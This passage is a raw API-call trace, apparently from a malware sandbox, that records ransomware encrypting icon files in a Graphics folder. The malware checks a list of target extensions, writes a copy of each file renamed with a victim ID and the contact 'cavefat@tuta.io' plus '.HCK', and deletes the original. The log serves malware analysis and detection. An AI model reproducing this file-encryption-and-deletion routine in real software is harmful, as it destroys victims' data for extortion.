(lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0149.113] lstrlenW (lpString=".doc") returned 4 [0149.113] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.113] lstrlenW (lpString=".docx") returned 5 [0149.113] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0149.113] lstrlenW (lpString=".pdf") returned 4 [0149.113] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.113] lstrlenW (lpString=".xls") returned 4 [0149.113] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.113] lstrlenW (lpString=".xlsx") returned 5 [0149.113] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0149.113] lstrlenW (lpString=".ppt") returned 4 [0149.113] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0149.113] lstrlenW (lpString=".zip") returned 4 [0149.113] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.113] lstrlenW (lpString=".rar") returned 4 [0149.113] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.113] lstrlenW (lpString=".bz2") returned 4 [0149.113] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.113] lstrlenW (lpString=".7z") returned 3 [0149.113] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.113] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0149.114] lstrlenW (lpString=".dbf") returned 4 [0149.114] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0149.114] lstrlenW (lpString=".1cd") returned 4 [0149.114] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.114] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0149.114] lstrlenW (lpString=".jpg") returned 4 [0149.114] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.114] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.114] lstrlenW (lpString="Save.ico") returned 8 [0149.114] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.114] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1150) returned 1 [0149.114] CloseHandle (hObject=0x300) returned 1 [0149.114] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0149.114] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.114] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.114] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.114] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.114] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.115] GetLastError () returned 0x0 [0149.115] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x47e, lpOverlapped=0x0) returned 1 [0149.116] WriteFile (in: hFile=0x370, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x480, lpOverlapped=0x0) returned 1 [0149.117] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.117] WriteFile (in: hFile=0x370, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.117] SetEndOfFile (hFile=0x370) returned 1 [0149.117] CloseHandle (hObject=0x370) returned 1 [0149.118] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.118] SetEndOfFile (hFile=0x300) returned 1 [0149.119] CloseHandle (hObject=0x300) returned 1 [0149.119] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.119] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0149.119] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0149.119] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0149.119] lstrlenW (lpString=".doc") returned 4 [0149.119] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.119] lstrlenW (lpString=".docx") returned 5 [0149.119] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0149.119] lstrlenW (lpString=".pdf") returned 4 [0149.119] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.119] lstrlenW (lpString=".xls") returned 4 [0149.119] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.119] lstrlenW (lpString=".xlsx") returned 5 [0149.119] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0149.120] lstrlenW (lpString=".ppt") returned 4 [0149.120] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0149.120] lstrlenW (lpString=".zip") returned 4 [0149.120] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.120] lstrlenW (lpString=".rar") returned 4 [0149.120] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.120] lstrlenW (lpString=".bz2") returned 4 [0149.120] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.120] lstrlenW (lpString=".7z") returned 3 [0149.120] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0149.120] lstrlenW (lpString=".dbf") returned 4 [0149.120] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0149.120] lstrlenW (lpString=".1cd") returned 4 [0149.120] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0149.120] lstrlenW (lpString=".jpg") returned 4 [0149.120] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0149.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0149.120] lstrlenW (lpString=".doc") returned 4 [0149.120] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.120] lstrlenW (lpString=".docx") returned 5 [0149.120] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0149.120] lstrlenW (lpString=".pdf") returned 4 [0149.120] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.120] lstrlenW (lpString=".xls") returned 4 [0149.120] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.120] lstrlenW (lpString=".xlsx") returned 5 [0149.120] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0149.120] lstrlenW (lpString=".ppt") returned 4 [0149.120] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0149.120] lstrlenW (lpString=".zip") returned 4 [0149.120] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.120] lstrlenW (lpString=".rar") returned 4 [0149.120] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.120] lstrlenW (lpString=".bz2") returned 4 [0149.120] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.120] lstrlenW (lpString=".7z") returned 3 [0149.120] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0149.121] lstrlenW (lpString=".dbf") returned 4 [0149.121] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0149.121] lstrlenW (lpString=".1cd") returned 4 [0149.121] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0149.121] lstrlenW (lpString=".jpg") returned 4 [0149.121] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.121] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.121] lstrlenW (lpString="Setup.ico") returned 9 [0149.121] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.121] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=36710) returned 1 [0149.121] CloseHandle (hObject=0x300) returned 1 [0149.121] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0149.121] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.121] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.121] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.121] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.121] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.125] GetLastError () returned 0x0 [0149.125] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x8f66, lpOverlapped=0x0) returned 1 [0149.126] WriteFile (in: hFile=0x370, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x8f70, lpOverlapped=0x0) returned 1 [0149.128] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.128] WriteFile (in: hFile=0x370, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe6, lpOverlapped=0x0) returned 1 [0149.128] SetEndOfFile (hFile=0x370) returned 1 [0149.128] CloseHandle (hObject=0x370) returned 1 [0149.129] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.129] SetEndOfFile (hFile=0x300) returned 1 [0149.130] CloseHandle (hObject=0x300) returned 1 [0149.130] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.130] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0149.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0149.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0149.131] lstrlenW (lpString=".doc") returned 4 [0149.131] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.131] lstrlenW (lpString=".docx") returned 5 [0149.131] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0149.131] lstrlenW (lpString=".pdf") returned 4 [0149.131] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.131] lstrlenW (lpString=".xls") returned 4 [0149.131] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.131] lstrlenW (lpString=".xlsx") returned 5 [0149.131] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0149.131] lstrlenW (lpString=".ppt") returned 4 [0149.131] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0149.131] lstrlenW (lpString=".zip") returned 4 [0149.131] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.131] lstrlenW (lpString=".rar") returned 4 [0149.131] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.131] lstrlenW (lpString=".bz2") returned 4 [0149.131] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.131] lstrlenW (lpString=".7z") returned 3 [0149.131] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0149.131] lstrlenW (lpString=".dbf") returned 4 [0149.131] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0149.131] lstrlenW (lpString=".1cd") returned 4 [0149.131] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0149.131] lstrlenW (lpString=".jpg") returned 4 [0149.131] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0149.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0149.131] lstrlenW (lpString=".doc") returned 4 [0149.131] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.131] lstrlenW (lpString=".docx") returned 5 [0149.131] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0149.131] lstrlenW (lpString=".pdf") returned 4 [0149.131] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.131] lstrlenW (lpString=".xls") returned 4 [0149.131] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.131] lstrlenW (lpString=".xlsx") returned 5 [0149.131] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0149.131] lstrlenW (lpString=".ppt") returned 4 [0149.131] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0149.131] lstrlenW (lpString=".zip") returned 4 [0149.131] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.132] lstrlenW (lpString=".rar") returned 4 [0149.132] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.132] lstrlenW (lpString=".bz2") returned 4 [0149.132] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.132] lstrlenW (lpString=".7z") returned 3 [0149.132] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0149.132] lstrlenW (lpString=".dbf") returned 4 [0149.132] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0149.132] lstrlenW (lpString=".1cd") returned 4 [0149.132] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0149.132] lstrlenW (lpString=".jpg") returned 4 [0149.132] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.132] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.132] lstrlenW (lpString="stop.ico") returned 8 [0149.132] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.132] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10134) returned 1 [0149.132] CloseHandle (hObject=0x300) returned 1 [0149.132] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0149.132] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.132] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.132] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.132] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.133] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.133] GetLastError () returned 0x0 [0149.133] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x2796, lpOverlapped=0x0) returned 1 [0149.134] WriteFile (in: hFile=0x370, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0149.135] ReadFile (in: hFile=0x300, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.135] WriteFile (in: hFile=0x370, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.135] SetEndOfFile (hFile=0x370) returned 1 [0149.135] CloseHandle (hObject=0x370) returned 1 [0149.136] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.136] SetEndOfFile (hFile=0x300) returned 1 [0149.137] CloseHandle (hObject=0x300) returned 1 [0149.137] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.137] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0149.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0149.137] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0149.137] lstrlenW (lpString=".doc") returned 4 [0149.137] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.137] lstrlenW (lpString=".docx") returned 5 [0149.137] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0149.137] lstrlenW (lpString=".pdf") returned 4 [0149.137] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.137] lstrlenW (lpString=".xls") returned 4 [0149.137] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.137] lstrlenW (lpString=".xlsx") returned 5 [0149.138] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0149.138] lstrlenW (lpString=".ppt") returned 4 [0149.138] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0149.138] lstrlenW (lpString=".zip") returned 4 [0149.138] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.138] lstrlenW (lpString=".rar") returned 4 [0149.138] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.138] lstrlenW (lpString=".bz2") returned 4 [0149.138] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.138] lstrlenW (lpString=".7z") returned 3 [0149.138] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0149.138] lstrlenW (lpString=".dbf") returned 4 [0149.138] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0149.138] lstrlenW (lpString=".1cd") returned 4 [0149.138] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0149.138] lstrlenW (lpString=".jpg") returned 4 [0149.138] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0149.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0149.138] lstrlenW (lpString=".doc") returned 4 [0149.138] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.138] lstrlenW (lpString=".docx") returned 5 [0149.138] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0149.138] lstrlenW (lpString=".pdf") returned 4 [0149.138] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.138] lstrlenW (lpString=".xls") returned 4 [0149.138] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.138] lstrlenW (lpString=".xlsx") returned 5 [0149.138] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0149.138] lstrlenW (lpString=".ppt") returned 4 [0149.138] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0149.138] lstrlenW (lpString=".zip") returned 4 [0149.138] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.138] lstrlenW (lpString=".rar") returned 4 [0149.138] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.138] lstrlenW (lpString=".bz2") returned 4 [0149.138] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.138] lstrlenW (lpString=".7z") returned 3 [0149.138] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0149.138] lstrlenW (lpString=".dbf") returned 4 [0149.138] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0149.138] lstrlenW (lpString=".1cd") returned 4 [0149.138] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.138] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0149.139] lstrlenW (lpString=".jpg") returned 4 [0149.139] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.139] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.139] lstrlenW (lpString="SysReqMet.ico") returned 13 [0149.139] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0149.139] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1150) returned 1 [0149.139] CloseHandle (hObject=0x300) returned 1 [0149.139] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0149.459] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[cavefat@tuta.io].HCK" 